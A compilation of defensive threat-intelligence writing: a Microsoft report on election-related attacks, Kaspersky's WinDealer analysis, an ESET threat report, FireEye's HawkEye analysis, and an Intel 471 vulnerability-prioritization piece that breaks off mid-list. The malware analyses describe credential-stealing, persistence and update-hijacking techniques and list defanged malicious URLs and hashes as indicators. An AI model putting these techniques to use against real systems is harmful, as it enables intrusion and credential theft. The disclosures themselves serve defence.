I am pleased to see that the U.S. Government, the security community, state and local governments, and the international community are coming together for a coordinated response to ransomware. There is much work that needs to be done but I am optimistic that we collectively have the thought leadership to accomplish our goals. The IST Ransomware Task Force published a set of thoughtful and measured policy and operational recommendations, including several that may require legislative action. I encourage all stakeholders involved to act where they can to reduce the incidence of ransomware attacks. |
# New Cyberattacks Targeting U.S. Elections
In recent weeks, Microsoft has detected cyberattacks targeting people and organizations involved in the upcoming presidential election, including unsuccessful attacks on people associated with both the Trump and Biden campaigns. We have and will continue to defend our democracy against these attacks through notifications of such activity to impacted customers, security features in our products and services, and legal and technical disruptions. The activity we are announcing today makes clear that foreign activity groups have stepped up their efforts targeting the 2020 election, as had been anticipated, and is consistent with what the U.S. government and others have reported. We also report here on attacks against other institutions and enterprises worldwide that reflect similar adversary activity.
We have observed that:
- **Strontium**, operating from Russia, has attacked more than 200 organizations including political campaigns, advocacy groups, parties, and political consultants.
- **Zirconium**, operating from China, has attacked high-profile individuals associated with the election, including people associated with the Joe Biden for President campaign and prominent leaders in the international affairs community.
- **Phosphorus**, operating from Iran, has continued to attack the personal accounts of people associated with the Donald J. Trump for President campaign.
The majority of these attacks were detected and stopped by security tools built into our products. We have directly notified those who were targeted or compromised so they can take action to protect themselves. We are sharing more about the details of these attacks today, and where we’ve named impacted customers, we’re doing so with their support.
What we’ve seen is consistent with previous attack patterns that not only target candidates and campaign staffers but also those they consult on key issues. These activities highlight the need for people and organizations involved in the political process to take advantage of free and low-cost security tools to protect themselves as we get closer to election day. At Microsoft, for example, we offer AccountGuard threat monitoring, Microsoft 365 for Campaigns, and Election Security Advisors to help secure campaigns and their volunteers.
More broadly, these attacks underscore the continued importance of work underway at the United Nations to protect cyberspace and initiatives like the Paris Call for Trust and Security in Cyberspace.
## Strontium
Strontium is an activity group operating from Russia whose activities Microsoft has tracked and taken action to disrupt on several previous occasions. It was also identified in the Mueller report as the organization primarily responsible for the attacks on the Democratic presidential campaign in 2016. Microsoft’s Threat Intelligence Center (MSTIC) has observed a series of attacks conducted by Strontium between September 2019 and today. Similar to what we observed in 2016, Strontium is launching campaigns to harvest people’s log-in credentials or compromise their accounts, presumably to aid in intelligence gathering or disruption operations. Many of Strontium’s targets in this campaign, which has affected more than 200 organizations in total, are directly or indirectly affiliated with the upcoming U.S. election as well as political and policy-related organizations in Europe. These targets include:
- U.S.-based consultants serving Republicans and Democrats
- Think tanks such as The German Marshall Fund of the United States and advocacy organizations
- National and state party organizations in the U.S.
- The European People’s Party and political parties in the UK
Others that Strontium targeted recently include businesses in the entertainment, hospitality, manufacturing, financial services, and physical security industries.
Microsoft has been monitoring these attacks and notifying targeted customers for several months, but only recently reached a point in our investigation where we can attribute the activity to Strontium with high confidence. MSTIC’s investigation revealed that Strontium has evolved its tactics since the 2016 election to include new reconnaissance tools and new techniques to obfuscate their operations. In 2016, the group primarily relied on spear phishing to capture people’s credentials. In recent months, it has engaged in brute force attacks and password spray, two tactics that have likely allowed them to automate aspects of their operations. Strontium also disguised these credential harvesting attacks in new ways, running them through more than 1,000 constantly rotating IP addresses, many associated with the Tor anonymizing service. Strontium even evolved its infrastructure over time, adding and removing about 20 IPs per day to further mask its activity.
We are also working with our customers to assist them in proactively hunting for these types of threats in their environments and have published additional detail and guidance on Strontium activity.
## Zirconium
Zirconium, operating from China, has attempted to gain intelligence on organizations associated with the upcoming U.S. presidential election. We’ve detected thousands of attacks from Zirconium between March 2020 and September 2020 resulting in nearly 150 compromises. Its targets have included individuals in two categories.
First, the group is targeting people closely associated with U.S. presidential campaigns and candidates. For example, it appears to have indirectly and unsuccessfully targeted the Joe Biden for President campaign through non-campaign email accounts belonging to people affiliated with the campaign. The group has also targeted at least one prominent individual formerly associated with the Trump Administration.
Second, the group is targeting prominent individuals in the international affairs community, academics in international affairs from more than 15 universities, and accounts tied to 18 international affairs and policy organizations including the Atlantic Council and the Stimson Center.
Zirconium is using what are referred to as web bugs, or web beacons, tied to a domain they purchased and populated with content. The actor then sends the associated URL in either email text or an attachment to a targeted account. Although the domain itself may not have malicious content, the web bug allows Zirconium to check if a user attempted to access the site. For nation-state actors, this is a simple way to perform reconnaissance on targeted accounts to determine if the account is valid or the user is active.
## Phosphorus
Phosphorus is an activity group operating from Iran that MSTIC has tracked extensively for several years. The actor has operated espionage campaigns targeting a wide variety of organizations traditionally tied to geopolitical, economic, or human rights interests in the Middle East region. Microsoft has previously taken legal action against Phosphorus’ infrastructure and its efforts late last year to target a U.S. presidential campaign. Last month, as part of our ongoing efforts to disrupt Phosphorus activity, Microsoft was again given permission by a federal court in Washington D.C. to take control of 25 new internet domains used by Phosphorus. Microsoft has since taken control of these domains. To date, we have used this method to take control of 155 Phosphorus domains.
Since our last disclosure, Phosphorus has attempted to access the personal or work accounts of individuals involved directly or indirectly with the U.S. presidential election. Between May and June 2020, Phosphorus unsuccessfully attempted to log into the accounts of administration officials and Donald J. Trump for President campaign staff.
## Bolstering Cybersecurity
We disclose attacks like these because we believe it’s important the world knows about threats to democratic processes. It is critical that everyone involved in democratic processes around the world, both directly or indirectly, be aware of these threats and take steps to protect themselves in both their personal and professional capacities. We report on nation-state activity to our customers and more broadly when material to the public, regardless of the actor’s nation-state affiliation. We are taking extra steps to protect customers involved in elections, government, and policymaking. We’ll continue to disclose additional significant activity in our efforts to defend democracy.
We also believe more federal funding is needed in the U.S. so states can better protect their election infrastructure. While the political organizations targeted in attacks from these actors are not those that maintain or operate voting systems, this increased activity related to the U.S. electoral process is concerning for the whole ecosystem. We continue to encourage state and local election authorities in the U.S. to harden their operations and prepare for potential attacks. But as election security experts have noted, additional funding is still needed, especially as resources are stretched to accommodate the shift in COVID-19-related voting. We encourage Congress to move forward with additional funding to the states and provide them with what they need to protect the vote and ultimately our democracy.
Tags: cyberattacks, cybersecurity, Defending Democracy Program, Election Security Advisors, ElectionGuard, Microsoft 365 for Campaigns, MSTIC, security |
# WinDealer Dealing on the Side
**Authors**: GReAT
## Introduction
LuoYu is a lesser-known threat actor that has been active since 2008. It primarily targets entities located in China, such as foreign diplomatic organizations, members of the academic community, and companies in the defense, logistics, and telecommunications sectors. TeamT5 identified three malware families associated with this actor: SpyDealer, Demsty, and WinDealer. The actor is capable of targeting Windows, Linux, macOS, and Android devices.
In previous years, Kaspersky investigated LuoYu’s activities and confirmed the connection between Demsty and WinDealer. On January 27, a joint presentation was delivered with TeamT5 and ITOCHU Corporation at the Japan Security Analyst Conference (JSAC) to provide an update on the actor’s latest activities. This article focuses on a groundbreaking development: LuoYu's ability to perform man-on-the-side attacks.
## Delivery Method
In the past, LuoYu used watering-hole attacks (e.g., on local news websites) to infect targets. Some variants of their Android malware impersonate a popular messaging app in Asia, suggesting that malicious APKs are distributed through social engineering to convince users to install fake updates.
In 2020, a new distribution method for WinDealer malware was discovered, leveraging the automatic update mechanism of select legitimate applications. In one case, a signed executable `qgametool.exe` (MD5 f756083b62ba45dcc6a4d2d2727780e4), compiled in 2012, deployed WinDealer on a target machine. This program contains a hardcoded URL to check for updates.
The executable located at this URL (hxxp://download.pplive[.]com/PPTV(pplive)_forap_1084_9993.exe, MD5 270902c6bb6844dc25ffaec801393245) is benign, but telemetry shows that on rare occasions, a WinDealer sample (MD5 ce65092fe9959cc0ee5a8408987e3cd4) is delivered instead.
We identified online message board posts where Chinese-speaking users reported discovering malware under the same name – PPTV(pplive)_forap_1084_9993.exe – on their machines. The posted information was sufficient to confirm that they had indeed received a sample of WinDealer.
## WinDealer’s Technical Description
WinDealer is a modular malware platform. It starts execution by locating an embedded DLL file placed in its resources, looking for a hardcoded pattern, and proceeds to decode it using a 10-byte XOR key.
WinDealer’s logic is spread over the initial EXE and its companion DLL: the former contains the setup of the program and network communications, while the orders sent by the C2 are implemented in the latter. The malware possesses the following capabilities:
- File and file system manipulation: reading, writing, and deleting files, listing directories, obtaining disk information.
- Information gathering: collecting hardware details, network configuration, keyboard layout, listing running processes, installed applications, and configuration files of popular messaging applications (Skype, QQ, WeChat, Wangwang).
- Download and upload of arbitrary files.
- Arbitrary command execution.
- System-wide search across text files and Microsoft Word documents.
- Screenshot capture.
- Network discovery via ping scan.
- Backdoor maintenance: set up or remove persistence (via the registry’s RUN key), configuration updates.
A variant discovered (MD5 26064e65a7e6ce620b0ff7b4951cf340) also featured the ability to list available Wi-Fi networks. Overall, WinDealer can collect an impressive amount of information compared to other malware families. The most extraordinary aspect of WinDealer lies elsewhere.
## The Impossible Infrastructure
The latest WinDealer sample discovered in 2020 doesn’t contain a hardcoded C2 server but relies on a complex IP generation algorithm to determine which machine to contact. The end result is that the IP address is selected at random from one of these two ranges:
- 113.62.0.0/15 (AS4134, CHINANET XIZANG PROVINCE NETWORK)
- 111.120.0.0/14 (AS4134, CHINANET GUIZHOU PROVINCE NETWORK)
Once the IP address has been selected, communications take place either over UDP port 6999 or TCP port 55556. An additional WinDealer sample (MD5 d9a6725b6a2b38f96974518ec9e361ab) communicates with the hardcoded URL “http://www[.]microsoftcom/status/getsign.asp”. This domain is invalid and cannot resolve to anything in normal circumstances, yet the malware expects a response in a predetermined format (“\x11\x22\x??\x33\x44”).
Packets exchanged with the C2 server contain a header followed by AES-encrypted data. They leverage a homemade binary protocol containing magic numbers and flags, making it easy to recognize and filter packets on a large scale.
### The Man-on-the-Side Attack
Putting all the pieces together, WinDealer’s infrastructure is extraordinary:
- It appears to be distributed via plain HTTP requests that normally return legitimate executables.
- It communicates with IP addresses selected randomly inside a specific AS.
- It can interact with non-existent domain names.
It is hard to believe that an attacker could control the 48,000 IP addresses of the aforementioned ranges. The only way to explain these seemingly impossible network behaviors is by assuming the existence of a man-on-the-side attacker who can intercept and modify network traffic.
Such capabilities are not unheard of: the QUANTUM program revealed in 2014 was the first known instance. The general idea is that when the attacker sees a request for a specific resource, it tries to reply to the target faster than the legitimate server. If the attacker wins the “race,” the target machine will use the attacker-supplied data instead of the normal data. This is consistent with the scenario where the target receives an infected executable instead of the normal one. Automatic updaters are prime targets for such attacks as they perform frequent requests.
This class of attack is particularly devastating because there is nothing users can do to protect themselves, apart from routing traffic through another network. This can be done with a VPN, but these may be illegal depending on the jurisdiction and typically not available to Chinese-speaking targets.
Confirming our assessment, we later discovered a downloader utility (MD5 4e07a477039b37790f7a8e976024eb66) that uses the same unique user-agent as WinDealer samples analyzed (“BBB”), tying it weakly to LuoYu. The downloader periodically retrieves and runs an executable from hxxp://www.baidu[.]com/status/windowsupdatedmq.exe. This URL normally returns a 404 error, and it is extremely unlikely that the attackers have control over this domain.
Based on all the evidence laid out above, we speculate that the attackers may have the following capabilities over AS4134:
- Intercepting all network traffic, allowing them to receive backdoor responses to random IP addresses without deploying actual C2 servers.
- Injecting arbitrary TCP and UDP packets on the network, enabling them to send orders to WinDealer.
- Full control over DNS, allowing them to provide responses for non-existent domains.
- Either QUANTUMINSERT capabilities or the ability to modify the contents of HTTP packets on the fly, achieving remote, zero-click malware installation by abusing auto-update mechanisms.
One noteworthy observation is that the attackers specifically target plain HTTP sessions, indicating they may not have the ability to break or downgrade HTTPS.
## WinDealer’s Targets
Our analysis of WinDealer reveals that it specifically looks for popular applications in Asia, such as QQ, WeChat, and WangWang. It also contains references to registry keys created by Sogou programs. This indicates that the LuoYu APT is predominantly focused on Chinese-speaking targets and organizations related to China. Our telemetry confirms that the vast majority of LuoYu targets are located in China, with occasional infections in other countries such as Germany, Austria, the United States, Czech Republic, Russia, and India.
In recent months, LuoYu has started to widen its scope to companies and users in East Asia and their branches located in China.
## Conclusion
With this report, we recognize LuoYu as an extremely sophisticated threat actor able to leverage capabilities available only to the most mature attackers. We can only speculate as to how they obtained such capabilities. They could have compromised routers on the route to (or inside) AS4134 or may use signals intelligence methods unknown to the general public. They may even have access (legitimate or fraudulent) to law enforcement tools set up at the ISP level and are abusing them to perform offensive operations. Overall, a threat actor is leveraging capabilities that could be compared (but are distinct) from the QUANTUMINSERT program to infect targets located in China.
Man-on-the-side attacks are devastating because they do not require any interaction with the target to lead to a successful infection: simply having a machine connected to the internet is enough. They can only be detected through careful network monitoring, which is outside the realm of everyday users, or if an endpoint security program catches the payload when it is deployed on the attacked computer.
Whatever the case, the only way for potential targets to defend against such intrusions is to remain extremely vigilant and have robust security procedures involving regular antivirus scans, analysis of outbound network traffic, and extensive logging to detect anomalies.
## Indicators of Compromise
**WinDealer samples:**
- MD5: ce65092fe9959cc0ee5a8408987e3cd4
SHA-1: 87635d7632568c98c0091d4a53680fd920096327
SHA-256: 27c51026b89c124a002589c24cd99a0c116afd73c4dc37f013791f757ced7b7e
- MD5: 0c8663bf912ef4d69a1473597925feeb
SHA-1: 78294dfc4874b54c870b8daf7c43cfb5d8c211d0
SHA-256: db034aeb3c72b75d955c02458ba2991c99033ada444ebed4e2a1ed4c9326c400
- MD5: 1bd4911ea9eba86f7745f2c1a45bc01b
SHA-1: f64c63f6e17f082ea254f0e56a69b389e35857fd
SHA-256: 25cbfb26265889754ccc5598bf5f21885e50792ca0686e3ff3029b7dc4452f4d
- MD5: 5a7a90ceb6e7137c753d8de226fc7947
SHA-1: 204a603c409e559b65c35208200a169a232da94c
SHA-256: 1e9fc7f32bd5522dd0222932eb9f1d8bd0a2e132c7b46cfcc622ad97831e6128
- MD5: 73695fc3868f541995b3d1cc4dfc1350
SHA-1: 158c7382c88e10ab0208c9a3c72d5f579b614947
SHA-256: ea4561607c00687ea82b3365de26959f1adb98b6a9ba64fa6d47a6c19f22daa4
- MD5: 76ba5272a17fdab7521ea21a57d23591
SHA-1: 6b831413932a394bd9fb25e2bbdc06533821378c
SHA-256: ecd001aeb6bcbafb3e2fda74d76eea3c0ddad4e6e7ff1f43cd7709d4b4580261
- MD5: 8410893f1f88c5d9ab327bc139ff295d
SHA-1: 64a1785683858d8b6f4e7e2b2fac213fb752bae0
SHA-256: 318c431c56252f9421c755c281db7bd99dc1efa28c44a8d6db4708289725c318
- MD5: cc7207f09a6fe41c71626ad4d3f127ce
SHA-1: 84e749c37978f9387e16fab29c7b1b291be93a63
SHA-256: 28df5c75a2f78120ff96d4a72a3c23cee97c9b46c96410cf591af38cb4aed0fa
- MD5: e01b393e8897ed116ba9e0e87a4b1da1
SHA-1: 313b231491408bd107cecf0207868336f26d79ba
SHA-256: 4a9b37ca2f90bfa90b0b8db8cc80fe01d154ba88e3bc25b00a7f8ff6c509a76f
- MD5: ef25d934d12684b371a17c76daf3662c
SHA-1: b062773bdd9f8433cbd6e7642226221972ecd4e1
SHA-256: 08530e8280a93b8a1d51c20647e6be73795ef161e3b16e22e5e23d88ead4e226
- MD5: faa8eaed63c4e9f212ef81e2365dd9e8
SHA-1: 0d3a5725b6f740929b51f9a8611b4f843e2e07b1
SHA-256: b9f526eea625eec1ddab25a0fc9bd847f37c9189750499c446471b7a52204d5a |
# ESET Threat Report T1 2021
## Foreword
Welcome to the T1 2021 issue of the ESET Threat Report! During the first four months of this year, the COVID-19 pandemic was still the number one news topic around the world; however, it became notably less prominent in the threat landscape. One could say “fortunately,” yet as you’ll see on the next pages, we are continuing to see worrying examples of cybercrooks being able to rapidly abuse trending vulnerabilities and flaws in configuration with focus on the highest ROI. These abuses include the RDP protocol still being the number one target of brute-force attacks, increased numbers of cryptocurrency threats, and a steep increase of Android banking malware detections.
## Executive Summary
ESET researchers discovered that more than 10 different advanced persistent threat (APT) groups were exploiting several Microsoft Exchange vulnerabilities to compromise thousands of email servers. In early March, Microsoft released patches for Exchange Server 2013, 2016, and 2019 that fix four bugs that, when chained together, lead to a remote code execution (RCE) vulnerability. This vulnerability chain allows an attacker to take over any reachable Exchange server, without the need to know any valid account credentials. The media reported that according to a former senior U.S. official with knowledge of the investigation, the attack has claimed at least 60,000 known victims worldwide and has become a global crisis.
These vulnerabilities were first disclosed by Orange Tsai, a well-known vulnerability researcher, who reported them to Microsoft on January 5, 2021. However, according to reports, several threat actors were targeting the same organization.
## Featured Story
Exchange servers under siege from at least 10 APT groups. The identified threat groups and behavior clusters are:
- **Tick aka Bronze Butler** – compromised the web server of a company based in East Asia that provides IT services. This group likely had access to an exploit prior to the release of the patches. Its main objective seems to be intellectual property and classified information theft.
- **LuckyMouse aka APT27 or Emissary Panda** – compromised the email server of a governmental entity in the Middle East. This APT group likely had an exploit at least one day before the patches were released, when it was still a zero day.
- **Calypso** – compromised the email servers of governmental entities in the Middle East and in South America. This group likely had access to the exploit as a zero day.
- **Websiic** – targeted seven email servers belonging to private companies in Asia and a governmental body in Eastern Europe. ESET named this activity cluster Websiic.
- **Winnti Group** – compromised the email servers of an oil company and a construction equipment company in Asia. The group likely had access to an exploit prior to the release of the patches.
- **Tonto Team aka CactusPete** – compromised the email servers of a procurement company and of a consulting company specialized in software development and cybersecurity, both based in Eastern Europe.
## Statistics & Trends
The threat landscape in T1 2021 as seen by ESET telemetry shows that overall detection trends remain stable as new developments unfold. The number of all threat detections in T1 2021 remained more or less the same as in T3 2020, only experiencing a slight decrease of 5%. Downloaders took a heavy blow due to the disruption and eventual shutdown of the Emotet botnet by law enforcement authorities.
Ransomware gangs exploited the recent Microsoft Exchange Server vulnerabilities, and many families that belong to this category earned a fortune due to double-extortion, simultaneously encrypting and stealing data, threatening to leak it if the ransom is not paid. The category of infostealers was marked by the rapid growth of the malware as a service business model, predominantly led by Agent Tesla spyware.
## Top 10 Malware Detections
1. **VBA/TrojanDownloader.Agent trojan** – 14.6%
2. **LNK/Agent trojan** – 5.3%
3. **HTML/Phishing.Agent trojan** – 5.3%
4. **Win/Exploit.CVE-2017-11882 trojan** – 4.8%
5. **DOC/TrojanDownloader.Agent trojan** – 4.5%
6. **HTML/Fraud trojan** – 4.4%
7. **DOC/Fraud trojan** – 3.9%
8. **JS/Agent trojan** – 2.9%
9. **MSIL/TrojanDownloader.Agent trojan** – 2.2%
10. **MSIL/Spy.Agent trojan** – 2.1%
## Infostealers
Agent Tesla reigns supreme and TrickBot comes back from the brink of death. Infostealers, a new category introduced in this ESET Threat Report, comprise banking malware, spyware, backdoors, and cryptostealers, meaning any malware with data theft as its main purpose. In T1 2021, backdoors, cryptostealers, and banking malware all decreased significantly, but the category of infostealers as a whole grew by almost 12% when compared to T3 2020.
## Ransomware
ESET telemetry shows another period of decline for ransomware in T1 2021. While a 27% drop in detections might seem high, it represents a slowdown in decline when compared to the 47% descent observed in T3 2020. The reason for this continuing trend is the change in distribution vectors. Ransomware is thus only employed as the last stage of a compromise chain.
## Downloaders
In T1 2021, downloaders experienced a very strong decline, going down 32.4% from T3 2020. ESET telemetry detected one large spike in January caused by VBA/TrojanDownloader.Agent, mainly due to three of its variants: a Dridex downloader and an Emotet downloader that both use MS Excel macros, and a Formbook downloader.
## Cryptocurrency Threats
The growth of cryptocurrency threats, which started in the second half of 2020, continued in T1 2021. This malware category experienced an increase of 18.6% with two smaller spikes related to cryptominers in February and April. The rising interest in cryptomining can clearly be seen in ESET telemetry data – cryptominers were the driving force behind the growth of cryptocurrency threats, increasing by 22% when compared to T3 2020.
## Conclusion
The T1 2021 report highlights the evolving threat landscape, with APT groups exploiting vulnerabilities, the rise of infostealers, and the ongoing challenges posed by ransomware and downloaders. As cybercriminals adapt to new opportunities, vigilance and proactive measures remain essential in combating these threats. |
# HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign
**Threat Research Blog**
July 25, 2017 | by Swapnil Patil, Yogesh Londhe
A wide variety of threat actors began distributing HawkEye malware through high-volume email campaigns after it became available for purchase via a public-facing website. The actors behind the phishing campaigns typically used email themes based on current events and media reports that would pique user interests, with the “Subject” line typically containing something about recent news. Although HawkEye malware has several different capabilities, it is most often associated with credential theft.
In the middle of June, we observed a phishing campaign involving the distribution of HawkEye malware. The threat actors behind this campaign are not targeting any specific group of industries or any specific region.
## Infection Vector & Execution
Figure 1 shows a sample phishing email used by HawkEye operators in this latest campaign. The message is designed to entice recipients to open the attachment. In this most recent campaign, the phishing email contained a DOCX attachment, and the attackers named the document appropriately so the recipient believed it involved a recent transaction or invoice.
As seen in Figure 2, the deployment of the malware has several stages of execution, including the following:
1. Phishing email containing a malicious DOCX file received by the victim.
2. DOCX file uses an OLE object, which contains an embedded Microsoft Intermediate Language (MSIL) executable. The MSIL file, or HawkEye malware, is dropped into the %temp% folder. The malware has an encrypted resource section, which contains additional payloads such as a password extraction tool and a decoy PDF document.
3. On execution, HawkEye drops copies of itself to the %AppData% folder with a random file name.
4. The decoy PDF file is launched from the %temp% location.
5. An XML file is created in the %temp% folder with a random file name. This XML file contains configuration details for scheduling a Windows task to execute during the user login process.
6. For the sample analyzed, the malware is injected into VBC.exe (a Visual Basic Command Line Compiler). The injected code has data stealing capabilities and is designed to extract passwords from email clients and web browsers.
## Initial Payload: DOCX File
In the observed campaign, the actors used an embedded OLE object to deliver the payload to the victim’s machine. The malicious payload, HawkEye, is embedded in the DOCX file and dropped in the %temp% folder after the victim double-clicks on the object.
## HawkEye Analysis
The HawkEye malware is primarily used for credential theft and is often combined with additional tools to extract passwords from email and web browser applications. These additional tools are contained in an encrypted resource section of the binary.
The HawkEye malware is capable of the following:
1. Email password stealing
2. Web browser password stealing
3. Keylogging and taking screenshots
4. Bitcoin wallet theft
5. USB propagation
6. Internet download manager stealing
7. JDownloader password stealing
8. Anti-virus checking
9. Firewall checking
After initial checks and system enumeration, HawkEye sends the following data to the command and control (C2) server:
- Server Name
- Keylogger Enabled
- Clipboard-Logger Enabled
- Stealers Enabled
- Local Date and Time
- Installed Language
- Operating System
- Internal IP Address
- External IP Address
- Installed Anti-Virus
- Installed Firewall
## USB Propagation and Bitcoin Wallet Theft
Along with its ability to steal sensitive information, HawkEye is capable of spreading through USB or removable drives and can also steal Bitcoin wallets.
## Encrypted Resource Section
The HawkEye malware in this campaign contained encrypted resource sections, which add functionality that enables the attackers to exfiltrate more data. FireEye observed the same pattern in previous HawkEye campaigns. The encrypted data is decrypted at run time and then injected into the target process, vbc.exe. The encryption logic used is a custom algorithm and varies with the campaign.
After decrypting the resource section, the following files can be extracted:
1. Decoy PDF file.
2. <Random_Name>.XML (Contains configuration data for a Windows task creation)
3. CMemoryExecute.dll
4. WebBrowserPassView.exe
5. MailPV.exe
## Task Scheduler – Persistence Mechanism
The payload uses the Windows task scheduling feature for its persistence mechanism on the victim’s computer. It schedules a task to execute on user login.
## CMemoryExecute.dll
CMemoryExecute.dll is responsible for running a .NET executable capable of using the Windows Native API to inject MailPV.exe and WebBrowserPassView.dll into VBC.exe, which is the Visual Basic Command Line Compiler. MailPV and WebBrowserPassView are used to extract credentials from the list of email and web browser clients noted in the following section.
## WebBrowserPassView
WebBrowserPassView.dll, extracted from the resource section, is a password recovery tool that extracts passwords stored in the following web browsers:
- Internet Explorer (Version 4.0 – 11.0)
- Mozilla Firefox (All Versions)
- Google Chrome
- Safari
- Opera
The extracted passwords are stored in a created text file: “%temp%\holderwb.txt”
## MailPV
The MailPV.exe file is a password recovery tool that extracts passwords for the following email clients:
- Outlook Express
- IncrediMail
- Eudora
- Group Mail Free
- MS Outlook
- MS Outlook 2002/2003/2007/2010
- Gmail
- Hotmail/MSN
- Yahoo! Mail
- Netscape Mail
- Thunderbird
- Google Desktop
- Windows Mail
- Windows Live Mail
- Outlook 2013
The extracted passwords are stored in a created text file: “%temp%\holdermail.txt”
## Command and Control Communications
The first C2 traffic observed is the malware’s check to get the external IP address of the infected machine. As noted, the malware sends gathered system information and security program data to the C2 server after the external IP address is known. HawkEye can be configured to send this information through multiple methods, including via email or FTP.
In addition to the system data, the malware will upload any collected credentials from email and web browser applications. To do this, the malware will validate that holdermail.txt and holderweb.txt exist and send the data to the C2 server. After the data is exfiltrated, the TXT files are deleted from the victim’s machine.
In this campaign, the HawkEye payload was configured to upload the data via email. Once the extracted data is received by the C2 server, the server sends emails to the threat actors behind the campaign to notify them that new stolen information is available.
## HawkEye User Base
HawkEye is a versatile Trojan used by diverse actors for multiple purposes. The malware has been sold through a public-facing website, which has allowed many different operators to use it. As is often the case with commercial Trojans, HawkEye offers a variety of functions for stealing stored data, grabbing form data, self-spreading, and performing other functions. Consequently, HawkEye may facilitate a number of different exploitative operations in compromised environments and can be used by actors with a wide range of motivations. We have seen different HawkEye campaigns infecting organizations across many sectors globally, stealing user credentials for diverse online services. This particular campaign represents one segment of the numerous HawkEye activity sets.
Some notable threat operations where we have previously reported HawkEye use include business email compromise campaigns, phishing against Middle Eastern organizations, and prolific spam operations.
## Conclusion
Based on previous observations, the phishing and lure techniques used in these recent HawkEye campaigns have remained consistent, as have the HawkEye binaries and associated payloads. However, the attackers have altered the initial delivery method to use an embedded OLE object, as opposed to past methods such as a macro embedded in a Word document. The threat landscape is continuously evolving, and we expect to see more new tricks and tactics being used by the actors using this malware family.
FireEye Multi Vector Execution (MVX) engine is able to recognize and block this threat.
**Acknowledgement**
Special thanks to John Miller and Nart Villeneuve for their contributions to this blog. |
# Prioritizing “Critical” Vulnerabilities: A Threat Intelligence Perspective
By the Intel 471 Intelligence Analysis team.
Recently, there have been many vendor security advisories containing multiple critical vulnerabilities potentially impacting organizations that may be conflicted with patch prioritization when looking at the variables seen for each reported vulnerability. Threat intelligence can supplement publicly disclosed information and provide a contextual view of exploitation efforts and general interest in open source reported vulnerabilities from an underground threat actor perspective. For instance, our vulnerability intelligence product uses information disclosed by vendor advisories, open source repositories, and research companies’ analyses to determine a certain level of risk, but we also take into consideration the scope of underground activity that can be seen surrounding critical vulnerability announcements. It is important to note that our risk assessment is assigned as a probability of current, active exploitation versus organization-specific risk.
Over the course of a year, we observed consistency across underground activity responding to critical vulnerability disclosures and leading up to exploit development. These indicators could further help identify potential elevation of risk to your organization by recognizing events such as spikes of activity that commonly occur prior to successful exploitation attempts. This is far from a one-size-fits-all approach and won’t necessarily give you an easy-to-prioritize list, but through the examples shown below, you will see this theory applied to recent critical vulnerabilities overlaid with threat actor activity observed over time.
## Disclosure to Exploitation
After the initial open source disclosure of a critical vulnerability that reportedly received the highest severity rating available, a pattern of activity can be observed in the underground. There is an initial surge in posts made by threat actors who copy and paste information directly from open source reports. Additionally, there are several forum threads started where threat actors discuss the possibility of exploitation or seek partners to assist in the development of proof of concept (PoC) and exploit code that leverage the newly announced vulnerability. Closely following these discussions, several threat actors will advertise claims of PoCs and exploits that have successfully been developed; however, claims within this timeframe are typically false.
After this initial deluge of information, activity surrounding mentions of the vulnerability slows and there are fewer observed reposts of open source information. Paired with this, a few threat actors may advertise high dollar PoCs or exploits in a limited supply. For example, an actor will claim to have an exploit for a recently disclosed critical vulnerability, including the common vulnerabilities and exposures (CVE) ID or its alias in the initial post. The privately developed code will be priced around US $1,000 to US $4,000, and the actor will state only a few copies are available for purchase. It is common to see this activity reported as alleged code development as they would need to be purchased or verified by a reliable secondary source to report them as a source of truth. Vendors and vulnerability researchers likely would include information of existing credible exploit development and successful exploitation of a vulnerability. These sources also may expedite the development of exploits, such as when you see a successful PoC released after patching information for impacted products is provided by the vendor.
Once threat actors share advertisements of code development, publicly available PoCs are not far behind, if not already released. If you are not immediately aware of publicly available code, conversations on the pricey exploit advertisement threads will point to it. Threat actors will share links to open source PoCs or exploits in response to the initial sales post and will leave comments such as “this is a rip off,” “it must be fake, you can get this for free,” and more. Notably, successful exploit development does not necessarily indicate all interested financially motivated cybercriminals will leverage the vulnerability for attacks. While there might be an increase in exploitation attempts, many threat actors will lack the sophistication required to take their interest to the next level.
As the disclosure to exploit cycle ends, reporting on threat actors successfully leveraging the vulnerability in attack techniques and procedures may be delayed. Attackers can be cautious and use nonspecific details if they report initial entry methods at all, such as claiming to leverage a type of vulnerability or only providing the name of the vulnerable system. Evidence of this activity allows us to identify threat actors that claim to leverage a specific vulnerability to carry out consistently intrusive cybercriminal activity.
## Priority Indicators to Assess Risk of Exploitation
The threat intelligence variables that add contextual risk to critical vulnerability prioritization can be cumbersome if your organization is affected by many recent advisories. In essence, you would be trying to monitor trends for 20 or more high severity vulnerabilities. The observations presented above can be summarized into five indicators that should trigger an increase in priority ranking.
1. **Indicator one** – Extensive coverage in open source reporting. This will naturally increase an actor’s interest in the vulnerability and will not solely be based on the criticality of the reported CVE.
2. **Indicator two** – Increase in observed underground conversations and posts related to the reported vulnerability. This increase will be significant and easily observed in comparison to other vulnerabilities being discussed on underground forums and messaging services.
3. **Indicator three** – Fake and private development and sale of PoC and exploit code. This identifies a clear objective from threat actors seeking to leverage the vulnerability for future attacks.
4. **Indicator four** – Publicly available, legitimate PoC code and threat actors claiming they are attempting to use this code for exploit development. Publicly released PoC code will be shared as a link or direct copy-paste on underground forums and referenced across all related initial post threads.
5. **Indicator five** – Full exploit widely available and possibly concurrent claims of the code being implemented in an attack framework. Additionally, you might begin to see reporting on a small number of threat actors leveraging this vulnerability in attacks.
## Theory into Practice
Using the indicators above, you can begin to map these trends across current critical vulnerabilities. Below you will see three critical vulnerabilities reviewed against this patterned activity including a timeline of underground activity and risk score.
### CVE-2019-19781
This Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliance vulnerability, CVE-2019-19781, was disclosed in December 2019 and last updated in the U.S. National Vulnerability Database (NVD) in January 2020. In December 2019, we began to see less sophisticated threat actors share information from open source reports about CVE-2019-19781 and new forum threads started where actors sought to buy an exploit for the vulnerability. Discussions about the potential exploitation of the vulnerability continued until a publicly available exploit was observed in January 2020 and subsequently shared in the underground. Several exploit variants were circulated by threat actors commonly known for sharing publicly available PoC and exploit code.
This vulnerability continues to be high risk to organizations with unpatched affected Citrix systems. We reported on threat actors who claimed this vulnerability allowed them access into vulnerable systems as they attempted to move laterally through impacted networks. The overall risk of exploitation score is high.
**December 2019**
- Several actors across multiple popular cybercrime forums posted information from open source reporting about the disclosure of CVE-2019-19781.
